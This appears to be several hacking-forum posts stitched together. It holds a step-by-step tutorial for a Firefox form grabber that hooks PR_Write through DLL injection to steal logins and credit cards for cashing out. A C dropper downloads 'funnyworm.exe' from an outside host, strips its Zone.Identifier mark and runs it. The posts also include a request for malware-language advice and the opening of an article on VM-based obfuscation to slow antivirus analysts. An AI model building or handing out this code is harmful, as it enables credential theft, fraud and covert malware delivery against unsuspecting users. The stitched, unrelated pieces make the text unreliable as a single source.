in the mysql database then the hacker will come back to check what he stole
from his web gui panel and then use them, this technique is very useful when
we use it with reverse proxy socks5 for example and no leaks also very very
useful with a good and fast hvnc which you can use the same IP same machine
that the owner for example of the cvv is used by the owner this gives more
trust when cashing out
#when to use it
We use the form grabber most of the time on targets they have access to
Important web sites logins, for example, Paypal, bank login, crypto wallet
login like blockchain.com, kucoin,
And much more money websites or maybe just a college website maybe the hacker
is targeting the admin
#why to use it why not just use a stealer?
A good question you may ask is, why just not use a stealer, will steal
everything, logins, cookies, and more?
Ok ok! I will answer this question . ! How many times have you used a stealer
and you got expired cookies and an invalid old stored password? A lot of time,
so why will use form Grabber this will give you fresh data, some times for
example: when you update the password on some web sites the chrome browser
will ask you will you want to update or store the password if the target
clicks NO and after few hours the cookies expired because the website is very
sensitive like blockchain.com with info stealer You get 0 but with the form
grabber you get the live email, crypto wallet, and the password
For now good I think you now know why sometimes should use a form grabber! Attention iam not saying info stealers are bad,
#How Does form grabber work?
For example, we need to write a form grabber for Mozilla Firefox the first
step is to find the function is responsible for writing the buffer to the
server
In Winsock Library we have send and recv the send from its name is responsible for sending data and recv is responsible for receiving data from the server also firefox uses Winsock but it has its own wrapper for the Winsock library which is developed to work with Firefox without problems
And for sending and receiving firefox has PR_WRITE and PR_READ also PR_Recv
According to Firefox source code documentation
https://firefox-source-docs.mozilla.org/nspr/reference/pr_read.html
https://firefox-source-docs.mozilla.org/nspr/reference/pr_write.html
The function PR_READ is responsible for reading the buffer from the server,
and the function PR_WRITE is responsible for writing the buffer to the server
For example, we need to log in to paypal.com or twitch.com, or any website, to
do that we need to use PR_WRITE to send the username / Email and password to
the server and PR_READ to read the result from the server Success Login, Or
failed! I mean everything like Html, CSS, JAVASCRIPT, and so on
Today will work on PR_WRITE to steal the login data or credit cards
But before that let's learn About Inline hooking the main technique used by the Formgrabber
#What is Inline Hooking?
Inline Hooking is a technique that allows the attacker or hackers to intercept
the function arguments example: like a proxy Burp suit can intercept the http
request, also the hooking allows to you to intercept the Arguments, Hooking is
widely used by Malware developers, also is used by Antivirus, sandboxes
Since can intercept the arguments of the function so the Antivirus can hook
for example WriteProcessMemory And can read the unencrypted buffer you write
for example in Process Hollowing
A simple example: We have MessageBoxA which has 4 arguments
int MessageBoxA( [in, optional] HWND hWnd, [in, optional] LPCSTR lpText, [in,
optional] LPCSTR lpCaption, [in] UINT uType );
Let's assume we need to interact with this function and need to change its behavior of it like changing the Caption or lpText so to do the job done we need to use Hooking
Keep in mind these are just examples there are a lot of other uses for the Hooking Like userland Hooks, Hooking web browsers, Hooking Putty, and FileZilla also can be done to steal such as sensitive data
So we discuss how Hooking works in Human understanding! Now will discuss the Techniquel way
So A Success API Hooking need these 7 steps so make sure you read them carefully and don't skip any step to make sure this will work for you
1 - Get the original function address
2 - Read the first 5 bytes from the original function
3 - Calculate relative address and write jmp instruction to byte array and
relative address
4 - Create a Trampoline function typedef
5 - allocate memory for the Trampoline function
6 - copy the original 5 bytes, copy the Push instruction, and copy the rva
then copy the return instruction to the trampoline function
7 - Will done the Hook is done
Inline Hooking can be different with different architecture x32 is different
from the x64 inline
When it came to coding Why?
The x64 memory Is too large so the jmp instruction can’t reach the Allocated
memory
And to fix this problem we need to find free memory space behind the Target
function
Will not discuss the x64 Hooking right now but, will get into it soon when we
finish the x86 Hooking project Don’t worry
Since now you already know how does Inline Hooking works, now I will tell you how technically form grabber work
Now there are a few tools you need to download before we start coding
1 - Visual studio IDE
![](/proxy.php?image=https%3A%2F%2Flh4.googleusercontent.com%2FpwLps4SHfBiOTzHQ6ogZ-
JU49SfMf_C5_L0IwpXLXCvFaycFxxZc1iC229bAdWZLglZcKnUtLBjMwr_b3nLstTw8RFGtWNL7WcOWT_CND22Z_gPiVcc9PIdmdqwMtUHktulwAl65d75otEar_H00dfM&hash=b140d6dbeae2a69d3d6813ac357faeb0)
2 - Cheat engine ( I recommend it because so easy to use but you can use any
other debugger )
![](/proxy.php?image=https%3A%2F%2Flh5.googleusercontent.com%2FmIL5-Yepw-
GtLzlUgji7VcR5Tal_lZ2_jv4rRaUFjDNW9KJTOTFdGbolSBo9RqJL2AGspOzbvtOx4nDqQgskig8RmJ3T5df0ekC-
CutbDSJE30Ywm3YMptv1OQqwNdrTn8IoMuh3LgcjJT83TTBkOh8&hash=a4b6db9a19619b1ef0f97e2afa7cd47d)
3 - Download Firefox both Archcuter for x32 and x64 because as we discussed
before the hooking for x32 will not work for x64 and because will test on both
so you need to download both
![](/proxy.php?image=https%3A%2F%2Flh6.googleusercontent.com%2FYXZ2zRNw42IhmurO3HUwREqzwgFR6qXuedk1qxpGltMVgyYg5OkU7NJRAt02fQb7ylJsvAlQJG-0kCjr3iuhvS-
NylnPb-
BB1MbRam2iL5_7BLX4Ru9scqG3jpUcmFUvhVPWYuhx5PKTp4EmilbgzTA&hash=14e1658bb0848f5b6ee7e6da223d8bb2)
After you are done downloading the tools now open visual studio and create an
Empty c++ project name it Application, And create a c++ file name it test. Cpp
Before we start writing the Form grabber we need to get experienced a little
with hooking to do that we first need to write a hook for the MessageBoxA
function and intercept the Arguments and change them also print the Old
argument in the console
Ok after you create the project and test.cpp file now writes the following c++ code.
C++:Copy to clipboard
int main(int argc, char* argv[])
{
HMODULE Huser32dll = GetModuleHandleA("user32.dll");
FARPROC FunctionAddress = GetProcAddress(Huser32dll, ("MessageBoxA"));
printf("Original MessageBoxA address 0x%x ", FunctionAddress);
}
![](/proxy.php?image=https%3A%2F%2Flh4.googleusercontent.com%2Fv8zQI74hc556wQFe8EfTIpH5_CzE4NAJLChJ134bnqs36tdq8m9fKyorsEmmT8A-ufGCeK51K1e0ys6ieoM8_119KvPDZZwj-3qXLGFFnapbC53OcnXQDKzz9Idxw-
icjCXNvVQEh6S3IeIVj70KqGQ&hash=2f64a6a76feaea05590a37663eb51ba1)
This code is very simple We use GetModuleHandleA to retrieve the base address
of the module user32.dll as an HMODULE, then we use GetProcAddress to retrieve
the address of the exported function we need to import and as you can see
printf to print the base address of the function address then we create byte
variable finally we use ReadProcessMemory to read the first five bytes
Attention: the minimum number of bytes and its required is 5 bytes 1 for jmp instruction and 4 for the address to jump as an x86, be careful some functions need to copy more than 5 bytes like in PR_WRITE, and will see soon why we need to copy and patch more than 5 bytes.
Good Job we finish the Step 1 which is described above.
Now step two from step seven Calculate the RVA ( relative address between the destination function and the source function which is the Hook function )
Before calculating the Relative address first we need to declare the Hook function as seen in the image bellow
But Hold on, how did we know what arguments we should add to know that we need
first to know the original function arguments and the original function
arguments as bellow
int MessageBoxA( [in, optional] HWND hWnd, [in, optional] LPCSTR lpText, [in,
optional] LPCSTR lpCaption, [in] UINT uType );
So what we need to do is declare the same function with the same data type which is an int but we need only to change the Function name otherwise the project won't be compiled cause will get confused function already declared in WINAPI.
C++:Copy to clipboard
int main(int argc, char* argv[])
{
MessageBoxA(NULL, "Test Hooking", "Hooking", NULL);
HMODULE Huser32dll = GetModuleHandleA("user32.dll");
FARPROC FunctionAddress = GetProcAddress(Huser32dll, ("MessageBoxA"));
printf("Original MessageBoxA address 0x%x ", FunctionAddress);
BYTE OriginalBytes[5] = { 0 };
BOOL RDmemory = ReadProcessMemory(GetCurrentProcess(), FunctionAddress, &OriginalBytes, 5, NULL);
}
Now once we finish from declaring the function now we need to Calculate the RVA by passing the address of the Hook function and the address of the original function and adding +5 bytes to the original function this need, after done this we declared a new variable called JmpBytes and the data type is a byte, now we Should copy the jmp instruction to JmpBytes and then copy the relative address to JmpBytes but make sure you add +1 to skip the jmp instruction otherwise it will overwrite on the jmp instruction So be careful any small error it will never work.
C++:Copy to clipboard
// calculate RVA
DWORD RVA = ((DWORD)&MessageBoxB - ((DWORD)FunctionAddress + 5));
BYTE JmpCode[5] = { 0 };
memcpy_s(JmpCode, 1, "\xE9", 1);
memcpy_s(JmpCode + 1, 4, &RVA, 4);
// WRITE jmp to function
WriteProcessMemory(GetCurrentProcess(), FunctionAddress, JmpCode, 5, NULL);
Now go back to MessageBoxB and as you already know its the Hook function can see that in the code above
And the first step we will do is to print out the arguments of the Original MessageBoxA
C++:Copy to clipboard
printf("lpText : %s lpCaption : %s \n", lpCaption, lpText);
We did not finish yet there is still the trampoline, For now, this code will
work and print out the arguments but will crash after that so just for testing
purposes add sleep in the Hook function after printing the arguments will not
crash directly so we have time to check the function from Cheat engine. so now
compile the code and, and Don’t forget to add MessagBoxA to be loaded from
user32.dll otherwise you need to use LoadLibraryA, not GetModuleHandle
So finally TEST CODE will be like this
Code:Copy to clipboard
int MessageBoxB(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
printf("lpText : %s lpCaption : %s \n", lpCaption, lpText);
Sleep(10000); // sleep to see the effect before crash because we did not finsihed the full project yet
}
int main(int argc, char* argv[])
{
MessageBoxA(NULL, "Test Hooking", "Hooking", NULL);
HMODULE Huser32dll = GetModuleHandleA("user32.dll");
FARPROC FunctionAddress = GetProcAddress(Huser32dll, ("MessageBoxA"));
printf("Original MessageBoxA address 0x%x ", FunctionAddress);
BYTE OriginalBytes[5] = { 0 };
BOOL RDmemory = ReadProcessMemory(GetCurrentProcess(), FunctionAddress, &OriginalBytes, 5, NULL);
// calculate RVA
DWORD RVA = ((DWORD)&MessageBoxB - ((DWORD)FunctionAddress + 5));
BYTE JmpCode[5] = { 0 };
memcpy_s(JmpCode, 1, "\xE9", 1);
memcpy_s(JmpCode + 1, 4, &RVA, 4);
// WRITE jmp to function
WriteProcessMemory(GetCurrentProcess(), FunctionAddress, JmpCode, 5, NULL);
MessageBoxA(NULL, "Test Hooking", "Hooking", NULL);
return 0;
}
Now open the cheat engine and launch the Application.exe and go to MessageBoxA and set A BreakPoint on the MessageBoxA function
To find the Function MessageBoxA first after attaching to the application go
to Memory view -> then view -> then enumerate dlls and symbols and click on it
finally search for MessageBoxA And click on the function name
![](/proxy.php?image=https%3A%2F%2Flh6.googleusercontent.com%2FZ6vS7v0mdjKqRz1Y1_93xDiS6K0ZeHJBVoXUKB7DoP85GbTO43sNpqToErJUBkDttYqemltzS8AuRiWAqPXY3j2wR8gh6FtPF4pXAn6wTAYZ-
ccImz_p67jfV-dueulgE14szmg-
TQ8oW0HQmXSqlOo&hash=5d6fbb7b8390cdd6119595504c4fae51)
As you can see the function before the hooking
Now click on the message box ![](/proxy.php?image=https%3A%2F%2Flh6.googleusercontent.com%2FWxjq2qJrZx35A_od4V9u_toWAvB- OftHawWt4jRhMka18P7MVFgC6wZCN0FMo7jiaTnSe8nJa4En6I-z_HAyBMuApFr8Cpp1Rr7k8Q1jyWS_d667gvILqvAybmo802gy- hy3QW_amvfplw3xR1WuuBQ&hash=7f69fbb1820eb991828200f627af98f9)
And this is the first one before the Hooking after clicking it the hooking will be done and should see the arguments printed on the CMD
As you can see now after the Hook is done see the Cmd printed the MessageBoxA
arguments!
Is only that? No, we also can modify it and change the original message box
arguments that were entered by the developer and pass our own. but before we
do that we need to create the trampoline otherwise it will get crashed as of
now.
To create the trampoline function.
1 - First create a typedef from the MessagBoxA function
2 - Create an LPVOID variable and will be the trampoline make sure to make the
variable PUBLIC as in the code bellow
3 - Allocate Memory using VirtualAlloc for and make sure the make the page
permissions PAGE_EXECUTE_READWRITE and the size will be 11! how did I know the
size
To calculate the size first we need to add the bytes we copy i mean the
original 5 bytes then 1 for push and 4 for the RVA and 1 for the return the
total is 11 so we need to allocate memory size 11
4 - Copy the Original 5 bytes we copy in the first time
5 - copy the push instruction but again you need to add +5 and the five
represent the bytes size so we skip the first 5 bytes and do not overwrite
them
6 - Copy the Rva ( Relative address )
7 - Copy the return instruction
Now back to the Hook function MessageBoxB that we create and now will edit the
arguments of the Orignal MessageBoxA function
Now create a pointer to the trampoline address that we allocate before and
assign the type of the typedef we create ftrempolineMessageBox and make the
return to it now you can pass whatever string you want in the arguments see
the image bellow
![](/proxy.php?image=https%3A%2F%2Flh3.googleusercontent.com%2FLjuJVCXP-
ZfiFfDihiY7uRcrPdG2X4YTuV3fTFcQby3N4kRbD1PEnf5XUoxdrr7ZzXzX2fzb1UIPmc18gcZy8oCB0dg6Figm-
WJlPVofOxV5S68mWIClYdAgx2AeVa2AYIUrffy27EYQ2Nq546Caa6Y&hash=604d58729ca46e3679d470c056df0bd9)
Will done we finish the Hooking, and this is the full code without the sleep
[cpp]
Compile the code and run it and now should work without any error
![](/proxy.php?image=https%3A%2F%2Flh6.googleusercontent.com%2FDMsjdGuhfVlM8CmVGsTOsH9Gu0egptHQPDeAsb3QSsdc4Yc7NzGDiluvaNLmtamYxRsAw33he8stbuk4U0FpDGd3w9FEVVXgMrYGdG-
uXeJx2EOR5WQowGs0bZkG2gZ2YqnQsqn236Q86lDGlUAAm3k&hash=64eb57b1b3c95a9bc42483bdecf0b06c)
As you can see in the message box the text is changed to my text
Video of working proof
Attention: Until now we are working on the same exe in the next section will work from dll and inject Dll to the Firefox process then will install hook from the Dll will patch the jump and read the Buffer from the Hook function of PR_WRITE but now will not read MessageBoxA now will read the buffer that the browser sends it to the server and parse the username and password
Congratulations.
Now create two other projects both are Empty c++ projects the first one name it hook and the other name it injector
Go to hook and go to project properties and then -> Advanced and change the target extension to .dll
Now create injector.cpp and hook.cpp in the both projects
C++:Copy to clipboard
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)InstallHook, NULL, 0, 0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Add the code above to the hook.cpp file .
![](/proxy.php?image=https%3A%2F%2Flh5.googleusercontent.com%2FTiObhJhttFq- qS0wSLnbehLBShWdxadjAJ609xpKaOejBaFY1nJ5Twi6mm5x_MV1LaarJSdrd4pPoxWgI09FamhugR9OjnZ1CLscOp7HVGR6y3g_O- rTLSDcJZbBq9nKMphS39z-19lGNmiKueFBAHI&hash=b3c52d3bbefb4e6de38a2e3685c10876)
No big deal we just write the entry point of the DLL and create a thread to invoke our function called Installhook, The function Installhook is the function that will be used to install the hook and create the trampoline.
Now there are a few requirements we need to find and define it in the c++ file , as we do before we need to find the type and arguments used by PR_WRITE we do that on MessageBoxA in the above code
Thanks GOD the Firefox source code are available on Firefox source
documentation
https://firefox-source-docs.mozilla.org/
Go to https://firefox-source-docs.mozilla.org/nspr/reference/pr_write.html
to find the PR_WRITE
And then create a typedef from the function also create A hook function from
the PR_WRITE function
PRInt32 PR_Write(PRFileDesc *fd, const void *buf,PRInt32 amount);
Now your code should be like this .
C++:Copy to clipboard
typedef int (*PTRPR_Write)(SOCKET* fd, char * buf, int amount);
LPVOID TrempolineAddress = NULL;
int HPR_Write(SOCKET* fd, char * buf, int amount)
{
PTRPR_Write fTRPR_Write = (PTRPR_Write)TrempolineAddress;
return fTRPR_Write(fd, buf, amount);
}
As you can see I changed the PRFileDesc to SOCKET pointer and const void You also can change it to char*
Will I guess you already know what is that, don’t worry about the return function to the trampoline address will allocate the memory from InstallHook Function
For more debugging information we can allocate the Console using the code above
C++:Copy to clipboard
AllocConsole();
freopen("CONOUT$", "w", stdout);
Add the code to the InstallHook function
![](/proxy.php?image=https%3A%2F%2Flh3.googleusercontent.com%2FEJWLmtbPHuG8iop96K2TZvIr-i6O61yvkJIkxvEj5Qag2nOzk3VHDUxho-3TSLbc5WD-
BAUTwK4UHpjIun2i4y7y0uXDkcqIdt6uIZEgGn5GEjDqvlpn-o2TyBxdjl9gF1Y8H71WNXr5RvqiFTpUpV4&hash=b4403b65e1c8beb6c155a938db2e5ea1)
Now here before we read the bytes from the Original Function ! did you remember when I told you above some functions need to read and patch more than five bytes?
Now I will tell you why is that, first launch the Firefox Browser and second launch Cheatengine and attach to Firefox
![](/proxy.php?image=https%3A%2F%2Flh5.googleusercontent.com%2FAZFXcLs-o2x9GI7SsnZSgtQIployBXdfc7e-Xqz6TZ2oS31BYrkYCZKqtXdptTRTFEd- TeqpF7IUu2GlBNqCSTzr-1hh_7n7j6lmAeEmHu1cDw2uQ5cvLRU29NUaJOqRC_aeEyFu6SRKE7Op05AWV9c&hash=1847b4107e01d5ec58d88e8aaa6f67d4)
Click Open then Memory view and then view from the toolbar of cheat engine and
finally click on Enumerate dlls and symbols
![](/proxy.php?image=https%3A%2F%2Flh6.googleusercontent.com%2F7rJLeS5t1UJDGh
--l7SUD9oXp-
yEsgNdugs4Ag_FYclppo3ghgVA5TIkRv4pS9sZ4I93E19nqVzBm_L4BdAe_rR0o7dnpEslS42Jk27fGKVnvC4ESUcWYgR1Sega5nPyCW4KQytEx2fwzQPGlmxV2Ws&hash=31d6ce93cc334106bdd89105c0000842)
Or just on your keyboard use hots keys to open the Enumerate dlls and symbols
by typing
Ctrl + alt + s
Now search for PR_WRITE once the cheat engine find it click on it
It should take you to the PR_WRITE function
![](/proxy.php?image=https%3A%2F%2Flh6.googleusercontent.com%2FpmSh_yWj_mbyQ5K0Rdh2wVLK4iiKe4yJVH-
BwiYEvZRALuqdYaewklHFLiAIdWG10HIxCuRoUpTgWbBi6m-21zxGWMZ0SuS1tpYmeD70AEmVtnJrFtsC1otMFMJ3qskz464phIp3hoZ_EqKaiSe4RlU&hash=4ad57e991568115934eec3ce2ecc948e)
Good now focus on the PR_WRITE function and read the first five bytes can’t
true? yes true if we copy the five bytes this will break the mov esi,[ebp+10]
So to fix this problem we need to Copy Seven bytes instead of five bytes which
is From push EPB until move esi, Why? cause as you already know the jmp
instruction is 1 byte size and the address we want to jump to it is four bytes
so the total is five but we can also copy more than five like in this
situation we have
Now back to Visual Studio and add the following code to the function InstallHook .
C++:Copy to clipboard
/// 2
byte OriginalBytes[7];
DWORD ReadedBytes = 0;
DWORD BytesSize = 7;
FARPROC OriginalPrWriteAddress = GetProcAddress(GetModuleHandleA("nss3.dll"), "PR_Write");
printf("Original PR_WRITE Function address at 0x%x ", OriginalPrWriteAddress);
BOOL readbytes = ReadProcessMemory(GetCurrentProcess(), (LPVOID)OriginalPrWriteAddress, &OriginalBytes, BytesSize,&ReadedBytes);
/// 3
if (readbytes != FALSE && BytesSize == ReadedBytes)
{
byte JmpBytes[7];
DWORD WrittenBytes = 0;
DWORD dstFunction = (DWORD)&HPR_Write;
DWORD Rva = dstFunction - ((DWORD)OriginalPrWriteAddress + 5);
memcpy_s(JmpBytes, 1, "\xE9", 1);
memcpy_s(JmpBytes + 1, 4, &Rva, 4);
memcpy_s(JmpBytes + 5, 1, "\x90", 1);
memcpy_s(JmpBytes + 6, 1, "\x90", 1);
BOOL WriteJmp = WriteProcessMemory(GetCurrentProcess(), (LPVOID)OriginalPrWriteAddress, JmpBytes, BytesSize, &WrittenBytes);
/// 4
if (WriteJmp != FALSE && BytesSize == WrittenBytes)
{
// here the code of trempoline function
}
}
So here we getting the address of the module Or Dll which is nss3 for the
Firefox Browser and the function Name is PR_WRITE, then we read the seven
bytes from the original function
Check if there an error while reading the bytes if no error calculate the RVA
( Relative address )
Then Copy the Jump instruction to the byte array variable, now copy the
Relative address to
The same variable which is the byte array finally copy the /xE9 which is nop
or do nothing code this nop is not required in all Inline Hooks if you
remember when we hook the MessageBoxA function we didn't use the nop that
because there is no extra bytes like in PR_WRITE function
I hope you understand me.
Attention we can use memcpy as an Alternative to ReadProcessMemory and
WriteProcessMemory But then you will need to use VirtualProtect to change the
protection of the address where you will copy the bytes and restore it to the
original protection Once you are done.
Now use WriteProcessMemory to write the Hook or Jump instruction to the
Original Function
And Don’t worry the function WriteProcessMemory will do the protection
changing for us and don’t need to use VirtualProtect here.
Now if you are smart and focus on the code you will see when we calculate the
Relative address we add five +5, not +7 why? this is because as we say before
the Jump Instruction and the address is five bytes in the x86 System.
Ok now we just using an if statement to check if there is any error while
writing the bytes if no error
Now will create the Trampoline so the size of the trampoline is different we
Copy 7 bytes and the the push instruction is 1 byte and the Rva is 4 bytes and
the return is also 1 byte so the total is 13 bytes here is how we calculate
them
No copy of all that using memcpy_s and no need to use WriteProcessMemory cause
the address is already allocated and we copy them directly
Will Done, Awesome now launch the cheat engine and Firefox and Process hacker
to inject our dll in Firefox
Here I will record a video to show you the full POC proof of concepts of the
working DLL
Will done I hope you enjoy the tutorial if you need any help iam ready to help.
You can find the Project Source code here :
No password.
If you like it tell me in comment i will add more tutorial in future
Хотел узнать что лучше для мальваря - раст или си. Нулевые знание в обоих языках, но есть начальный - средний уровень питона
В общем задался изучить плюсы с 0
Порылся в этих ваших интернетах и нарыл достойный материал, для обучения с 0
самое то.
**
Hidden content for authorized users.
Cтоляров А.В.
**
Hidden content for authorized users.
в трех томах
Плавно произведет пенетрацию в Ваш мозг сначала объяснив основы работы ЭВМ,
затем научит писать на паскале, после этого ассемблер и наконец долгожданные
плюсы
Том первый**
Том второй
Том третий**
Задачник
Страуструп, "прародитель" с++, естественно стоит прочитать. После столярова зайдет на "Ура", хотя в некоторых местах можно сломать мозг...
Ravesli, сайт с уроками по плюсам, так же все достаточно понятным языком объясняют.
**ravesli
WASM**, сайт посвящен Windows, ASM, C, тонны информации.
Ну и бонусная литература.
[Справочник
по](https://ru.pdfdrive.com/%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9-%D1%81%D0%BF%D1%80%D0%B0%D0%B2%D0%BE%D1%87%D0%BD%D0%B8%D0%BA-%D0%BF%D0%BE-
win32-api-e194192118.html)[WIN
API](https://ru.pdfdrive.com/%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9-%D1%81%D0%BF%D1%80%D0%B0%D0%B2%D0%BE%D1%87%D0%BD%D0%B8%D0%BA-%D0%BF%D0%BE-
win32-api-e194192118.html)
WIN32API, 2008,
Щупак
WININET + urlmon
CreateProcess + ShellExecute
Rabotojet s unicode toshe, mosh komu pregoditza
Udalajet Zone.Identifier
Sohranejet file w %temp%\randnumbers.exe
Code:Copy to clipboard
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <shlobj.h>
#include <winioctl.h>
#include <shellapi.h>
#include <wininet.h>
#include <Shlwapi.h>
#include <tchar.h>
bool ExecuteProcess(wchar_t *szFile)
{
HINSTANCE hResult;
STARTUPINFOW pStartInfo;
PROCESS_INFORMATION pProcessInfo;
memset((STARTUPINFOW*)&pStartInfo, 0, sizeof(STARTUPINFOW));
memset((PROCESS_INFORMATION*)&pProcessInfo, 0, sizeof(PROCESS_INFORMATION));
pStartInfo.cb = sizeof(STARTUPINFOW);
pStartInfo.dwFlags = STARTF_USESHOWWINDOW;
pStartInfo.wShowWindow = SW_SHOW;
if (CreateProcessW(NULL, szFile, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &pStartInfo, &pProcessInfo) == TRUE)
{
Sleep(1000);
return true;
}
hResult = ShellExecuteW(NULL, L"open", szFile, 0, 0, SW_HIDE);
int result = int(hResult);
if (result > 32)
{
Sleep(1000);
return true;
}
return false;
}
void Download(wchar_t *szLink)
{
HANDLE hFile;
srand(GetTickCount());
HINTERNET hOpen, hURL;
DWORD dwRead, dwWrite;
bool DownloadedFile = false;
WCHAR szFile[MAX_PATH];
WCHAR szTempPath[MAX_PATH];
WCHAR szData[MAX_PATH];
WCHAR szZonePath[MAX_PATH];
ExpandEnvironmentStringsW(L"%temp%", szTempPath, sizeof(szTempPath));
srand(GetTickCount());
wsprintfW(szFile, L"%ls\\%d.exe", szTempPath, rand() % 30000 + 10000);
hOpen = InternetOpenW(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (hOpen != NULL)
{
hURL = InternetOpenUrlW(hOpen, szLink, NULL, 0, 0, 0);
if (hURL != NULL)
{
hFile = CreateFileW(szFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0);
if (hFile != INVALID_HANDLE_VALUE)
{
memset(szData, 0, sizeof(szData));
while (InternetReadFile(hURL, szData, sizeof(szData) - 1, &dwRead) && dwRead != 0)
{
WriteFile(hFile, szData, dwRead, &dwWrite, NULL);
}
CloseHandle(hFile);
wsprintfW(szZonePath, L"%ls:Zone.Identifier", szFile);
DeleteFileW(szZonePath);
Sleep(100);
if (ExecuteProcess(szFile) == true)
DownloadedFile = true;
}
CloseHandle(hFile);
}
InternetCloseHandle(hURL);
}
InternetCloseHandle(hOpen);
Sleep(500);
if (DownloadedFile == false)
{
wsprintfW(szFile, L"%ls\\%d.exe", szTempPath, rand() % 30000 + 10000);
if (URLDownloadToFileW(0, szLink, szFile, 0, SW_HIDE) == S_OK)
{
wsprintfW(szZonePath, L"%ls:Zone.Identifier", szFile);
DeleteFileW(szZonePath);
Sleep(100);
ExecuteProcess(szFile);
}
}
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
Sleep(500);
Download(L"http://host.ws/funnyworm.exe");
return 0;
}
И снова здравствуйте, друзья! Сегодня я расскажу вам историю о том, как я упоролся виртуализацией программного кода (в плане обфускации и защиты, конечно же, а не в плане этих ваших ВМВарей или ВиртуалБоксов). Тема виртуализации кода достаточно давно меня интересует. В фоне с основным своим родом деятельности я то и дело почитывал всякие интересные вещи об этом. Более того, мой бро Haunt давно просил меня написать что-нибудь интересненькое о виртуализации, а я — ленивая жопа, все никак этого не делал. И тут однажды мне пришла в голову идея, как совместить ее (тему виртуализации) с еще одним моим увлечением — мета-программированием. Я вообще знатный задрот в плане ЯП, знаете ли. В итоге (будем считать, что в качестве упражнения) я решил запилить свою собственную небольшую крекмишу с псевдо-кодом и виртуальной машиной. Ровно такую же, как мы рассматривали в моей предыдущей статье про VEH и INT3, но под своим особым мета-программным соусом. Справедливости ради, я сделал ее раньше, чем стал тестить свой анклав из говна и палок. Но тут матчасть посложнее, и я решил сделать эту статью потом… ну то есть сейчас… не важно. Само собой эту крекмишу я залил на сайт со спецового вида спецовыми спецами по реверсингу, само собой они ее быстро порешали и даже успели изрядно полить желчью и гуаном всю тему с ней, но суть упражнения была далеко не в том, чтобы этих спецов уделать, а научиться компилировать, когда компилируешь…
Содержание:
1. Введение
2. Стековая виртуальная машина
3. Программирование крекмиши
4. Типы и структуры ВМ
5. Создаем эмиттер
6. Создаем ридер и дизассемблер
7. Создаем компилятор
8. Создаем виртуальную машину
9. Заключение
1. Введение
Мы живем с вами в эпоху, когда куча языков с разной степенью успеха пытается заменить собой эти ваши единственные рассово-верные Сишечку и Плюсы. Любимым языком из этой категории для меня был, есть и скорее всего будет язык Nim. Помимо сравнительно читаемого петоно-подобного синтаксиса и неплохого кодогенератора в Сишечку у языка Nim есть особо дорогая моему сердцу фича — мета-программирование. Мета-программирование в Nim по своей сути очень напоминает его же в Lisp’е, но без бесконечно бесящего синтаксиса, состоящего из скобочек больше, чем полностью. В подавляющем большинстве компиляторов и интерпретаторов исходный код представляется в виде древовидной структуры — AST (abstract syntax tree — абстрактно синтаксического дерева), так вот Nim по средствам так называемых «макросов» позволяет получить эту древовидную структуру во время компиляции и произвольно изменять ее. Забегая вперед, эта дивная фича и позволит нам компилировать, когда компилируем. Но для начала давайте обсудим еще несколько вводных вещей.
Как работают всякие динамические интерпретируемые языки, типа Петонов, например? Мы будем рассматривать все этапы в наиболее упрощенном виде. Исходный код в памяти преобразуется в AST с помощью парсера и лексера (бывает, что парсер и лексер реализованы одним и тем же компонентом, но не суть важно). Затем (учитывая, что на прошлом этапе не было синтаксических ошибок) AST проходит несколько этапов упрощения, при которых высокоуровневые конструкции языка преобразуются в более низкоуровневые, это сделано для своего рода минимизации следующих этапов. При этом может производиться семантический анализ (говоря простым языком, проверка «правильности» или корректности написанного кода). Затем AST преобразуется в байт-код для виртуальной машины, которая в последствии будет этот байт-код исполнять. Байт-код и, собственно, виртуальная машина по своей архитектуре в принципе могут быть любыми, но так исторически сложилось, что очень многие виртуальные машины являются стековыми (CLR, JVM, CPython и многие другие). В статье мы будем делать именно стековую виртуальную машину, мне кажется, что для начала она будет проще для понимания, да и знания эти могут пригодится при разборе байт-кода многих других ВМ.
Чем же интересна обфускация через виртуализацию? Ответ достаточно банален: если для нативного кода или же для каких-то байт-кодов типа MSIL (.NET), WASM (WebAssembly), JVM (Java), CPython, Lua/LuaJIT уже существуют готовые дизассемблеры или декомпиляторы, то для байт-кода (или псевдо-кода, я буду использовать эти термины, как равнозначные), который придумаем мы, такого готового средства нет. Поэтому аверскому реверсеру (он же «дятел» в аверском мире) придется потратить побольше времени для понимания того, что же на самом деле делает программа, реализованная в виде ВМ и байт-кода. Нужно будет разобраться, какой опкод псевдокода что делает и зачем (при условии защиты программы от работы в песочнице, конечно). Безусловно, недостатком такого подхода будет существенное уменьшение производительности программы (если программа полностью реализована через ВМ), но виртуализировать можно только те ее части, которые нам действительно хочется скрыть от назойливых глаз. Поэтому в легитимном софте то и дело встречается виртуализация кода, связанного с лицензией, генерацией ключей или какими-то еще приватными вещами, чтобы чуток подзапарить реверсера/крякера, который будет пытаться этот лицензионный код сломать или понять, что он (код) делает.
Писать компилятор байт-кода и саму виртуальную машину мы будем на языке программирования Nim (как вы уже могли догадаться). У аверов есть пунктик по поводу языка Nim, особо всратые сигнатуры особо всратых аверов детектят вообще весь софт написанный на Nim. В контексте статьи мы не будем обсуждать то, каким образом эти сигнатуры можно сбивать (если интересно, то пишите в комментариях к статье, можем это обсудить). Но для особо упоротых танкистов просто скажу, что не надо орать на меня, если у вашего антивируса вдруг начнется эрекция на семплы из этой статьи, никакой малвари встроенной там нет, успокойтесь.
